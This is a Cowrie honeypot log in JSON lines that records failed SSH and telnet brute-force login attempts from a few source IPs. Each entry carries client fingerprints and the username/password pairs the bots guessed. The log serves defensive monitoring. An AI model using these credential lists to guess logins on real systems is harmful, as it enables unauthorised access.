{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:30.880876Z","src_ip":"141.11.88.14","session":"7d665a93d4e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:32.102525Z","src_ip":"141.11.88.14","session":"7d665a93d4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:33.413107Z","src_ip":"141.11.88.14","session":"7d665a93d4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20028,"dst_ip":"10.17.0.5","dst_port":22,"session":"edd90641b70f","protocol":"ssh","message":"New connection: 141.11.88.14:20028 (10.17.0.5:22) [session: edd90641b70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:35.328396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:35.776428Z","src_ip":"141.11.88.14","session":"edd90641b70f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:35.781618Z","src_ip":"141.11.88.14","session":"edd90641b70f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234567","message":"login attempt [test/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:37.838400Z","src_ip":"141.11.88.14","session":"edd90641b70f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:38.922345Z","src_ip":"141.11.88.14","session":"edd90641b70f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56412,"dst_ip":"10.17.0.5","dst_port":22,"session":"e05079e924c6","protocol":"ssh","message":"New connection: 141.11.88.14:56412 (10.17.0.5:22) [session: e05079e924c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:42.360210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:42.571069Z","src_ip":"141.11.88.14","session":"e05079e924c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:42.576718Z","src_ip":"141.11.88.14","session":"e05079e924c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pruebas","password":"pruebas","message":"login attempt [pruebas/pruebas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:44.972074Z","src_ip":"141.11.88.14","session":"e05079e924c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:46.089857Z","src_ip":"141.11.88.14","session":"e05079e924c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12876,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbaf7cf6441e","protocol":"ssh","message":"New connection: 141.11.88.14:12876 (10.17.0.5:22) [session: dbaf7cf6441e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:49.722017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:49.917127Z","src_ip":"141.11.88.14","session":"dbaf7cf6441e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:49.921863Z","src_ip":"141.11.88.14","session":"dbaf7cf6441e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:50.803219Z","src_ip":"141.11.88.14","session":"dbaf7cf6441e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:52.187405Z","src_ip":"141.11.88.14","session":"dbaf7cf6441e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12926,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e68cca39493","protocol":"ssh","message":"New connection: 141.11.88.14:12926 (10.17.0.5:22) [session: 5e68cca39493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:56.450370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:56.560327Z","src_ip":"141.11.88.14","session":"5e68cca39493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:56.563840Z","src_ip":"141.11.88.14","session":"5e68cca39493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233","message":"login attempt [root/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:57.593594Z","src_ip":"141.11.88.14","session":"5e68cca39493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:01:59.089478Z","src_ip":"141.11.88.14","session":"5e68cca39493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":52572,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a32fafadf29","protocol":"ssh","message":"New connection: 161.132.50.236:52572 (159.203.135.109:22) [session: 2a32fafadf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:01.033525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:01.037385Z","src_ip":"161.132.50.236","session":"2a32fafadf29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:01.127088Z","src_ip":"161.132.50.236","session":"2a32fafadf29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:01.513441Z","src_ip":"161.132.50.236","session":"2a32fafadf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:02.603643Z","src_ip":"161.132.50.236","session":"2a32fafadf29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48054,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe26af40108","protocol":"ssh","message":"New connection: 141.11.88.14:48054 (10.17.0.5:22) [session: 0fe26af40108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:03.565203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:03.725864Z","src_ip":"141.11.88.14","session":"0fe26af40108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:03.730842Z","src_ip":"141.11.88.14","session":"0fe26af40108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password","message":"login attempt [testuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:04.578330Z","src_ip":"141.11.88.14","session":"0fe26af40108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:05.691171Z","src_ip":"141.11.88.14","session":"0fe26af40108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5e8ccd0ecaa","protocol":"telnet","message":"New connection: 128.199.8.54:51302 (159.203.135.109:23) [session: c5e8ccd0ecaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:06.121866Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49569,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba9552b0498","protocol":"telnet","message":"New connection: 128.199.8.54:49569 (159.203.135.109:23) [session: bba9552b0498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:09.935345Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32834,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9ac4e2901f","protocol":"ssh","message":"New connection: 141.11.88.14:32834 (10.17.0.5:22) [session: ad9ac4e2901f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:11.414914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:11.746149Z","src_ip":"141.11.88.14","session":"ad9ac4e2901f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:11.748863Z","src_ip":"141.11.88.14","session":"ad9ac4e2901f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin123","message":"login attempt [deploy/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:12.545539Z","src_ip":"141.11.88.14","session":"ad9ac4e2901f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:13.650552Z","src_ip":"141.11.88.14","session":"ad9ac4e2901f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38208,"dst_ip":"10.17.0.5","dst_port":22,"session":"febfcf586b74","protocol":"ssh","message":"New connection: 141.11.88.14:38208 (10.17.0.5:22) [session: febfcf586b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:18.723000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:02:19.167427Z","src_ip":"141.11.88.14","session":"febfcf586b74","protocol":"ssh"}
